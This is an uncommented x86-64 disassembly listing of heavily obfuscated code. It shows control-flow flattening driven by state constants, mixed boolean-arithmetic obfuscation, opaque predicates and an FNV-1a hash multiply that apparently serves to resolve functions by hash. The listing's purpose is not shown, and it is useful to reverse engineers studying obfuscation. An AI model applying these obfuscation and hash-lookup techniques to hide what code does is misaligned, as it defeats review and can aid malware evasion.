mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r9d, eax
or r9d, ecx
mov eax, 0x1f53ad1b
jmp 0x14008bf20
cmp eax, 0x58a11e19
je 0x14008bf01
cmp eax, 0x71946ac1
jne 0x14008bf20
mov eax, 0x3117fdc4
jmp 0x14008bf20
cmp eax, 0x22c0f4b1
jne 0x14008c9bf
mov eax, 0x1f53ad1b
mov r9d, dword [rbp + 0x4c8]
jmp 0x14008bf20
mov dword [rbp + 0x4c8], r8d
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x41
setge byte [rbp + 0x4e8]
mov eax, dword [rbp + 0x4c0]
jmp 0x14008bf20
cmp byte [rbp + 0x4e8], 0
mov eax, 0x22c0f4b1
cmovne eax, r13d
jmp 0x14008bf20
cmp eax, 0x1f53ad1b
jne 0x14008bf20
mov esi, dword [rbp + 0x4c4]
mov eax, esi
and eax, 0xa06206ca
mov ecx, esi
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r14d, eax
or r14d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r14d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r14d
and r14d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r14d, edx
xor r14d, ecx
mov eax, r14d
and eax, 0x8b181a5c
or eax, 0x34434021
and r14d, 0x74e7e5a3
xor r14d, eax
mov eax, r14d
xor eax, 0x2feabccf
mov ecx, r14d
xor ecx, 0xd0154330
mov edx, r14d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r14d, 0xf77ca13a
and r14d, eax
or r14d, edx
or ecx, eax
xor r14d, 0x2769e20a
and r14d, ecx
mov eax, r14d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r12d, eax
and r12d, 0x1fbc0278
xor r12d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r12d
xor ecx, 0x24c1653b
xor r12d, 0x2441652b
and r12d, eax
or r12d, ecx
mov eax, esi
and eax, 0xfb1401a1
or eax, 0x688008
mov r11d, esi
and r11d, 0x4ebfe5e
xor r11d, eax
mov eax, r11d
xor eax, 0xbaad4363
or r11d, 0x453a3c94
xor r11d, 0x457abc9c
or r11d, eax
mov eax, esi
and eax, 0xbac5c36b
mov ecx, r11d
xor ecx, 0x29379af7
mov edx, esi
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, esi
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r11d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r11d
xor ecx, eax
not r11d
or r11d, eax
and r11d, ecx
or r11d, ebx
mov eax, esi
and eax, 0x3e90666b
mov ecx, esi
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r11d
mov eax, r11d
xor eax, esi
xor eax, 0x94aca640
xor r11d, 0x94aca640
and r11d, esi
or r11d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r11d
xor r11d, ecx
xor r11d, 0xbebcc648
and r11d, eax
mov r15d, r9d
not r15d
mov edx, r9d
and edx, 0x437fed4a
mov eax, r9d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r9d
mov ebx, r9d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r9d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r9d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edi, eax
and edi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, edi
xor edx, ebx
lea ebx, [rdx + 0x1384000]
mov edi, eax
and edi, 0x28800011
and ecx, 0x9729dbac
or ecx, edi
xor ecx, esi
mov edi, esi
xor edi, 0x4a83322f
and edi, ebx
xor edx, 0xf647adda
and edx, r8d
or edx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xb735624
mov ebx, eax
or ebx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ecx
mov ecx, ebx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, edx
xor eax, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xb412375a
mov edx, ebx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ebx
xor eax, 0xf5840d22
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ebx
xor edx, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, edx
and ebx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ecx
mov ecx, eax
xor ecx, edx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ecx
mov esi, ebx
xor esi, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, esi
mov ecx, ebx
or ecx, 0xe47d729f
mov r8d, ecx
and r8d, 0x160e96b2
mov edx, ebx
and edx, 0x9800940
or edx, r8d
xor edx, edi
xor edx, 0xd8e16b2
xor ecx, 0xedff76bf
and ecx, edi
or ecx, edx
xor ecx, eax
xor ebx, eax
xor ebx, 0x1638c95a
and esi, eax
or esi, ebx
mov eax, ecx
xor eax, 0xe47d729f
xor ecx, esi
xor ecx, 0xe47d729f
or eax, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x6ec3b5e4
or ecx, 0x80801
and eax, 0x913c4a1b
or eax, 0x28c13164
xor eax, ecx
mov ecx, eax
xor ecx, 0xd736c69a
mov edx, eax
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, eax
xor ebx, 0xd385b194
and ebx, ecx
or ebx, edx
xor eax, ebx
xor ebx, 0x4b3770e
or ebx, ecx
xor eax, 0x2c7a4e6b
and eax, ebx
or r15d, 0xd1969ad4
mov ecx, r9d
and ecx, 0x248000a
mov edx, r15d
and edx, 0x98b14025
or edx, ecx
mov r10d, r15d
and r10d, 0x25043500
or r10d, edx
mov ecx, r10d
and ecx, 0xb2a41504
xor ecx, 0x20280c0
xor r10d, 0xf0ec1f1e
or r10d, ecx
and r9d, 0x22000528
and r15d, 0x5debeac7
or r15d, r9d
mov ecx, r15d
and ecx, 0xc49602b
xor ecx, 0xc496003
xor r15d, 0x10b280fc
or r15d, ecx
mov ecx, r10d
and ecx, 0xfffdff3f
xor ecx, 0x1aaf6d2c
and ecx, r10d
mov edx, r10d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r15d
and ebx, 0x64400203
or r10d, r15d
and r15d, 0xa296d28
or r15d, 0x64528243
xor r15d, ebx
xor r15d, edx
xor r15d, ecx
xor r15d, 0x41429241
not r10d
or r10d, r15d
mov r9d, r11d
mov r8d, r11d
mov r15d, r11d
mov esi, r11d
mov ebx, r11d
mov edi, r11d
and edi, 0x100108
mov edx, r11d
or edx, 0x3bac76d0
mov ecx, r11d
xor ecx, 0xc453892f
or ecx, edx
and edx, 0xfc6bc837
or edx, edi
mov edi, r11d
xor edx, r11d
and r11d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r11d
and r8d, 0x70663010
and r15d, 0x2190005
or r15d, 0x7c006010
xor r15d, r8d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r9d
xor esi, r15d
xor esi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r11d
xor ebx, 0xf27fff77
xor edi, 0x8d80cfea
or edi, ebx
not edi
or edi, esi
mov r9d, edi
xor r9d, 0x727f3015
mov ebx, edi
xor ebx, 0xb62cb93a
and ebx, r9d
mov r11d, edi
xor r11d, 0x49d346c5
or r11d, ebx
xor edx, 0x38284010
and edx, ecx
mov ebx, r12d
xor ebx, 0x40008000
and ebx, r12d
and r14d, 0x40008000
xor r14d, 0x4a849408
and ebx, 0x44018902
or ebx, r14d
mov ecx, r12d
mov r8d, r12d
mov esi, r12d
and esi, 0x8010000c
and ecx, 0x420021
or ecx, 0x45880090
xor ecx, ebx
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor esi, ecx
xor esi, 0x1a04008
and esi, r8d
xor ecx, 0x41a14902
or ecx, r8d
xor ecx, esi
mov ebx, r11d
mov esi, r11d
and esi, 0xb2e0d7b3
and ebx, 0x4d1f284c
or ebx, 0x22804682
xor ebx, esi
mov r14d, ebx
xor r14d, 0x6f9f6ece
mov esi, edx
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r13d, edx
and r13d, 0x4d1f284c
xor r13d, esi
mov r8d, ebx
xor r8d, 0x98385838
and r8d, r14d
mov esi, r13d
xor esi, 0x8170804
mov r15d, r13d
xor r15d, 0x4fc10d
and r15d, esi
mov r14d, ebx
or r14d, 0x858c909
or r13d, 0xf7a736f6
xor r13d, 0xf7eff7ff
or r13d, r15d
mov esi, r14d
and esi, 0x8899f000
and ebx, 0x772606f6
or ebx, esi
mov esi, r11d
xor ebx, r8d
xor r14d, 0x9878d939
and r14d, r8d
mov r8d, r11d
and esi, 0x9e366bbf
xor esi, edx
xor r8d, edx
not edx
or edx, r11d
xor ebx, 0x9838d030
or r14d, ebx
mov ebx, r12d
xor r14d, r13d
mov r15d, r12d
and r11d, 0x61c99440
or r11d, 0x21040b3
xor esi, r11d
and edx, r8d
mov r8d, esi
xor r8d, edx
xor r8d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, edx
or esi, r8d
mov edx, esi
and edx, 0xc0508439
or edx, 0x892802
and esi, 0x3faf7bc6
xor esi, edx
mov r11d, esi
xor r11d, 0x892802
mov r8d, r14d
and r8d, 0x4e3f9ca4
mov r13d, r11d
and r13d, 0xb1c0635b
xor r13d, r8d
mov edx, r11d
xor r11d, r14d
xor esi, 0xff76d7fd
or esi, r14d
and r14d, 0xb1c0635b
or r14d, 0xc081c80
xor r13d, r14d
and edx, 0x4e3f9ca4
or edx, 0xb040624a
xor edx, r13d
xor edx, 0x43b78135
and esi, r11d
or esi, edx
mov r8d, esi
not r8d
mov edx, esi
and edx, 0x4de1c672
mov r11d, esi
or r11d, 0x4de1c672
mov r14d, r11d
and r14d, 0x26011ca7
and r8d, 0x901e2108
or r8d, r14d
mov r14d, esi
xor r14d, 0x4010422
and r14d, edx
not edx
xor r14d, r8d
mov r8d, esi
and r8d, 0x420
xor r11d, edx
and edx, 0x26010887
add r8d, edx
add r8d, 0xd1f0c210
xor r8d, r14d
mov r13d, edi
mov r14d, edi
xor r15d, edi
xor edi, 0x8d80cfea
and edi, r12d
xor ecx, 0x4de1c672
xor r8d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r11d
not esi
or esi, r8d
mov edx, ecx
and edx, 0xb7fb9257
or edx, 0x42d28
and ecx, 0x48046da8
xor ecx, edx
mov r8d, ecx
mov edx, esi
and edx, 0xb7fb9257
or edx, 0x40004d08
and esi, 0x48046da8
xor esi, edx
mov edx, esi
xor edx, 0xf7fbdf5f
xor ecx, 0x48004080
and ecx, edx
mov r11d, eax
not r11d
xor r8d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r8d
mov r8d, r10d
xor r8d, 0xb2a695c4
or esi, ecx
and r13d, 0xa631f20f
xor r13d, 0x8400c20a
xor r14d, 0x2bb13de5
and ebx, 0x59ce0df0
or ebx, 0x86009003
and r12d, 0xa631f20f
xor r12d, ebx
and r13d, r9d
or r13d, r14d
mov ecx, r12d
xor r12d, 0xdfce9df3
and r12d, r13d
not r13d
xor ecx, r13d
xor ecx, 0xdfce9df3
and ecx, r13d
or r12d, ecx
mov ecx, r15d
xor ecx, 0x8d80cfea
or edi, ecx
mov r13d, r15d
xor r13d, 0x727f3015
xor r15d, edi
xor r15d, 0x727f3015
or r13d, edi
not r13d
or r13d, r15d
mov ecx, r13d
and ecx, 0xcde4750
or ecx, 0x21209829
and r13d, 0xf321b8af
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xdedf67d6
and ecx, r12d
xor r13d, r12d
xor r13d, 0xdedf67d6
or r13d, ecx
mov ecx, r13d
and ecx, 0xa94c8ce7
lea r14d, [rcx + 0x42217110]
xor ecx, 0xa94c8ce7
mov r9d, r14d
and r9d, 0x4804a0a0
mov ebx, r13d
xor ebx, 0x81480c46
and ebx, ecx
and ecx, 0x20000001
or ecx, r9d
mov edi, ecx
and edi, 0x600080a1
and r14d, 0x8042000
add edi, r14d
add edi, 0x5021e54
xor edi, ebx
xor edi, 0x33805e5d
xor ecx, 0x20000001
and ecx, ebx
or ecx, edi
and r13d, 0x56b37318
xor r13d, ecx
mov ecx, r13d
xor ecx, 0x283593b1
mov edx, r13d
xor edx, 0xd7ca6c4e
and edx, ecx
xor r13d, edx
xor r13d, 0xd7ca6c4e
or r13d, edx
mov ecx, r13d
and ecx, 0xab469b10
or ecx, 0x50b0608d
and r13d, 0x54b964ef
xor r13d, ecx
mov ecx, r13d
xor ecx, 0xaf4f9f72
mov edx, esi
not edx
and edx, ecx
xor r13d, 0x50b0608d
and r13d, esi
or edx, r13d
and r13d, ecx
and ecx, esi
xor edx, ecx
xor r13d, edx
mov ecx, eax
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov edx, eax
and edx, 0xbf6c245a
xor edx, ecx
mov r14d, edx
xor r14d, 0xc19bdfa5
mov ebx, r10d
xor ebx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r8d
and edx, ebx
and r14d, r8d
or r14d, edx
xor r14d, edi
mov r8d, r14d
not r8d
mov edx, eax
and edx, 0xd240d802
or edx, 0x2049
or r11d, 0xde6c8a14
and r11d, 0xff7c8ab4
xor r11d, edx
mov edx, r11d
xor edx, 0xca20210
and eax, 0xcaf275d
lea ebx, [rax - 0x2dbf27fe]
xor r11d, 0xd754f
and r11d, ebx
xor eax, 0x2d3107b0
and eax, edx
or eax, r11d
mov r15d, r10d
xor r15d, 0x41f64d66
mov edx, r15d
and edx, 0x84a6247d
mov ebx, eax
and ebx, 0x84afa47d
or ebx, 0x29001a80
and eax, 0x7b505b82
and r10d, 0x98000
add edx, r10d
add edx, 0x19105080
and r15d, 0x7b505b82
xor r15d, edx
xor r15d, eax
xor r15d, ebx
mov r9d, r15d
xor r9d, 0xcfefb5ff
mov r12d, r9d
and r12d, 0x260dd63e
mov eax, r15d
and eax, 0xd9f229c1
mov r10d, r8d
mov ecx, r8d
mov r11d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and ecx, 0x493228c1
or ecx, 0x8080440c
xor ecx, r10d
mov edx, r14d
or edx, 0xdbfeebdb
xor edx, r8d
xor edx, ecx
xor edx, 0xa6beb606
mov ecx, r14d
xor ecx, 0xd9f229c1
xor r14d, 0x260dd63e
or r14d, ecx
not r14d
or r14d, edx
mov ecx, r12d
not ecx
mov edx, eax
xor edx, 0xefeff7ff
mov edi, r15d
xor edi, 0x200c436
and edi, r12d
mov ebx, eax
xor ebx, 0xcd3d5188
and ebx, edx
or eax, 0xdd2d5988
and r11d, 0x91008
xor r12d, edx
xor edx, ecx
and ecx, 0xc5044100
add ecx, r11d
add ecx, 0x2082a441
xor ecx, edi
mov esi, eax
and esi, 0x451651c1
and r15d, 0xc02000
or r15d, esi
xor eax, 0xdd3d5988
and eax, ebx
and ebx, 0xd9fb29c9
xor ebx, r15d
xor ebx, 0x41100180
or eax, ebx
xor eax, ecx
xor eax, 0x38abbcc9
or edx, r12d
not edx
or edx, eax
xor edx, r14d
mov eax, r9d
not eax
and eax, edx
xor r9d, edx
xor r9d, eax
mov esi, r13d
and esi, 0x1f489344
lea eax, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, r13d
and edx, 0xd338e252
or edx, 0x2c47198d
mov ebx, r13d
and ebx, 0x2cc71dad
xor ebx, edx
mov edx, ebx
xor edx, 0x330f8ac9
mov edi, r13d
not edi
xor ebx, 0xccf07536
and ebx, edi
mov r14d, edx
and r14d, r13d
or r14d, ebx
and r14d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea edx, [r10 + 0x1c000300]
mov ebx, r9d
and ebx, 0x1f489344
xor ebx, edx
mov dword [rbp + 0x4c4], ebx
mov edx, eax
and edx, 0x12086e0
xor r13d, 0x8480104
and r13d, ecx
and ecx, 0x16001000
or ecx, edx
xor ecx, 0x96027819
or r13d, ecx
mov ecx, r13d
xor ecx, 0x8540002
and ecx, 0x8d56825a
mov edx, r13d
and edx, 0x12287da5
or edx, ecx
xor edx, 0xb557ca28
mov r11d, r13d
xor r11d, 0x9722fef9
mov ecx, r11d
and ecx, 0xa001040
or ecx, edx
and eax, 0x55d88b24
xor esi, 0x3569a797
or esi, eax
mov eax, esi
xor eax, 0x7f79bff7
and eax, ecx
not ecx
mov edi, r14d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, ecx
or eax, esi
and esi, edx
and edx, ecx
xor eax, edx
or esi, eax
mov ebx, r14d
and ebx, 0xd5decb2c
mov eax, ebx
xor eax, 0x4912a796
mov edx, eax
or edx, 0x5d4314bb
mov ecx, r14d
or ecx, 0xaabdffd7
xor ecx, edx
mov r15d, r14d
xor r15d, 0x22202040
and r15d, edi
xor ebx, 0xd5decb2c
mov r12d, ebx
or ebx, edi
not edi
mov edx, r14d
and edx, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add edx, r8d
add edx, 0x4c400028
xor edx, r15d
mov r8d, edx
xor r8d, 0xecfc892c
mov r15d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r15d, 0x6000
xor edx, 0x130376d3
and edx, r15d
or edx, ecx
mov r15d, dword [rbp + 0x4c4]
xor r15d, 0xfcb76fbb
and r15d, r9d
xor r10d, 0xe0b76cbb
and r12d, 0x504a8308
and eax, 0x859448b4
or eax, r12d
mov ecx, r14d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, eax
xor edi, 0xdeeefffa
and edi, ebx
or edi, edx
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, r13d
xor eax, 0x130881e4
and eax, r11d
mov ecx, r13d
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and r13d, 0x281501
or r13d, edx
xor r13d, eax
xor r13d, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, r13d
mov r13d, 0x58a11e19
mov eax, r14d
and eax, 0xdbd780fa
or r11d, r14d
and r14d, 0x24287f05
or r14d, 0x43d68078
xor r14d, eax
xor r14d, ecx
xor r14d, 0x98010082
and r14d, r11d
or r14d, edi
or r14d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov eax, r9d
xor eax, 0xef7cb561
mov edx, r9d
and edx, 0x30240e
mov ecx, eax
and ecx, 0xf1cfcab1
or ecx, edx
mov ebx, ecx
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, edx
or ebx, 0xa45bbedf
mov esi, ecx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r15d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and ecx, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, ecx
lea ecx, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, edx
mov edx, r10d
xor edx, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, r10d
xor ebx, r10d
lea edx, [r10 + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, ecx
or ebx, edx
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, ecx
mov ecx, r9d
and r9d, 0xc09208a5
and eax, 0x3a25f71a
or eax, r9d
xor ecx, r15d
xor eax, r15d
mov edx, r15d
not edx
or ebx, r8d
xor ecx, 0xef7cb561
and ecx, edx
xor eax, 0x3aa7ff9e
or eax, ecx
mov ecx, eax
and ecx, 0xd49ab90b
mov edx, eax
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, ecx
not eax
and eax, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or eax, edx
or eax, edi
xor eax, r14d
imul ecx, eax, 0x1000193
mov rax, qword [rbp + 0x4d8]
add rax, 2
mov rdi, qword [rbp + 0x410]
jmp 0x14008be24
mov rax, qword [rbp + 0x468]
mov rax, qword [rax]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x4d8], rax
mov ecx, 0xc2cb542e
mov edx, eax
nop dword [rax]
cmp ecx, 0xdae09d2a
jg 0x14008da40
cmp ecx, 0xc2cb542e
je 0x14008da5a
cmp ecx, 0xc508309f
je 0x14008da79
cmp ecx, 0xcc44ccd7
jne 0x14008da10
jmp 0x14008daf2
cmp ecx, 0xdae09d2b
je 0x14008da80
cmp ecx, 0xf10f0061
je 0x14008da99
cmp ecx, 0x68e1357e
jne 0x14008da10
jmp 0x14008dab0
mov rcx, qword [rbp + 0x498]
cmp rcx, qword [rbp + 0x4d8]
mov ecx, 0xdae09d2b
mov edx, 0x68e1357e
cmove ecx, edx
xor edx, edx
jmp 0x14008da10
mov ecx, 0xf10f0061
jmp 0x14008da10
mov rcx, qword [rbp + 0x498]
cmp qword [rcx + 0x30], 0
setne dl
mov ecx, 0x68e1357e
jmp 0x14008da10
mov ecx, dword [rbp + 0x3e0]
jmp 0x14008da10
mov eax, edx
mov ecx, dword [rbp + 0x488]
jmp 0x14008da07
mov rax, qword [rbp + 0x420]
mov rax, qword [rax]
mov rdi, qword [rax + 0x30]
mov eax, 0x62abb3bd
jmp 0x14008bdb0
mov eax, dword [rbp + 0x430]
cmp eax, 0xef148ef1
mov eax, 0x52b0d9bb
mov ecx, 0xa588d843
cmove eax, ecx
jmp 0x14008bdb0
and al, 1
mov byte [rbp + 0x4c8], al
cmp byte [rbp + 0x4c8], 0
mov eax, 0x681faaa4
mov ecx, 0x3a8cbc47
cmovne eax, ecx
jmp 0x14008bdb0
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x4b0]
mov qword [rax], rdi
mov eax, 0x96c966fb
jmp 0x14008bbd0
mov rax, qword [rbp + 0x4b0]
mov rbx, qword [rax]
mov eax, dword [0x1400f2760]
mov ecx, dword [0x1400f2764]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x447]
cmp ecx, 0xa
setl byte [rbp + 0x446]
mov qword [rbp + 0x3f0], rbx
test rbx, rbx
mov eax, 0x9b6ef62f
mov ecx, 0xf28a6f13
cmove ecx, eax
mov dword [rbp + 0x464], ecx
mov eax, 0xed3913cb
cmp eax, 0xed3913ca
jg 0x14008dba0
cmp eax, 0x9ffa038d
je 0x14008dbcf
cmp eax, 0xa5ff9edc
jne 0x14008db80
jmp 0x14009288a
cmp eax, 0x73223574
je 0x14008dbf5
cmp eax, 0xed3913cb
jne 0x14008db80
mov cl, byte [rbp + 0x447]
cmp byte [rbp + 0x446], 0
mov eax, 0x73223574
mov edx, 0x9ffa038d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14008db80
lea rax, [0x1400f2130]
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x4b0], rax
mov eax, 0xe4ecd053
jmp 0x14008dc50
lea rax, [0x1400f2130]
mov qword [rbp + 0x4c8], rax
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x4b0], rax
mov eax, 0xe4ecd053
jmp 0x140090250
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0xf088f4e1
cmove eax, ecx
cmp dword [0x1400f276c], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
nop
cmp eax, 0xf088f4e0
jg 0x14008dc90
cmp eax, 0x93e3b353
je 0x140092840
cmp eax, 0xa888c428
je 0x14008dcbb
cmp eax, 0xe4ecd053
jne 0x14008dc50
cmp qword [rbp + 0x4b0], 0
mov eax, 0x2a1793f1
mov ecx, 0xa888c428
cmove eax, ecx
jmp 0x14008dc50
cmp eax, 0xf088f4e1
je 0x1400901f1
cmp eax, 0x2a1793f1
je 0x14008dc1e
cmp eax, 0x7e448d7d
jne 0x14008dc50
mov rax, qword [rbp + 0x4c8]
mov eax, 0xf088f4e1
jmp 0x14008dc50
mov eax, 0x6ffe1116
jmp 0x14008dcd0
mov eax, 0xd4c10340
xor ecx, ecx
mov qword [rbp + 0x408], rcx
cmp eax, 0xf28a6f12
jle 0x14008dd30
cmp eax, 0x63a2322a
jg 0x14008dd90
cmp eax, 0x34c97f98
jle 0x14008de1f
cmp eax, 0x34c97f99
je 0x14008df30
cmp eax, 0x3f1498e5
je 0x14008df75
cmp eax, 0x62d8a4f8
jne 0x14008dcd0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x91fe3c8f
jmp 0x14008df1e
cmp eax, 0x9b6ef62e
jle 0x14008ddd0
cmp eax, 0xa4df38c1
jle 0x14008de75
cmp eax, 0xa4df38c2
je 0x14008fefd
cmp eax, 0xb8791e98
je 0x14008dcc2
cmp eax, 0xd4c10340
jne 0x14008dcd0
mov rax, qword [rbp + 0x458]
mov eax, 0x80055193
mov rcx, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rcx
jmp 0x14008dcd0
cmp eax, 0x6ffe1115
jle 0x14008dec0
cmp eax, 0x7d77dcca
je 0x14008dcc2
cmp eax, 0x7519a91b
je 0x14008ff07
cmp eax, 0x6ffe1116
jne 0x14008dcd0
mov eax, dword [rbp + 0x464]
jmp 0x14008dcd0
cmp eax, 0x84c237ee
jg 0x14008deef
cmp eax, 0x8232d9cb
je 0x14008ff17
cmp eax, 0x825579c1
jne 0x1400901cb
mov eax, dword [rbp + 0x418]
mov dword [rbp + 0x4bc], eax
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x4bc]
cmp ecx, dword [rax + 0x18]
mov eax, 0x3f1498e5
mov ecx, 0x84c237ef
cmove eax, ecx
jmp 0x14008dcd0
cmp eax, 0xf28a6f13
je 0x14008ff3e
cmp eax, 0x25b8ba4e
jne 0x14008dcd0
mov eax, dword [rbp + 0x4ac]
cmp eax, 2
sete byte [rbp + 0x4bb]
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8232d9cb
mov ecx, 0x7519a91b
cmovne eax, ecx
cmp dword [0x1400f2774], 0xa
mov ecx, 0x8232d9cb
cmovl eax, ecx
jmp 0x14008dcd0
cmp eax, 0x9b6ef62f
je 0x14009003b
cmp eax, 0xa395c87a
jne 0x14008dcd0
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x420], rax
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7519a91b
mov ecx, 0x25b8ba4e
jmp 0x14008df1e
cmp eax, 0x63a2322b
je 0x14009004e
cmp eax, 0x67ce0cc2
jne 0x14008dcd0
mov eax, dword [rbp + 0x4bc]
add eax, 1
mov dword [rbp + 0x418], eax
mov eax, 0x825579c1
jmp 0x14008dcd0
cmp eax, 0x84c237ef
je 0x140090062
cmp eax, 0x91fe3c8f
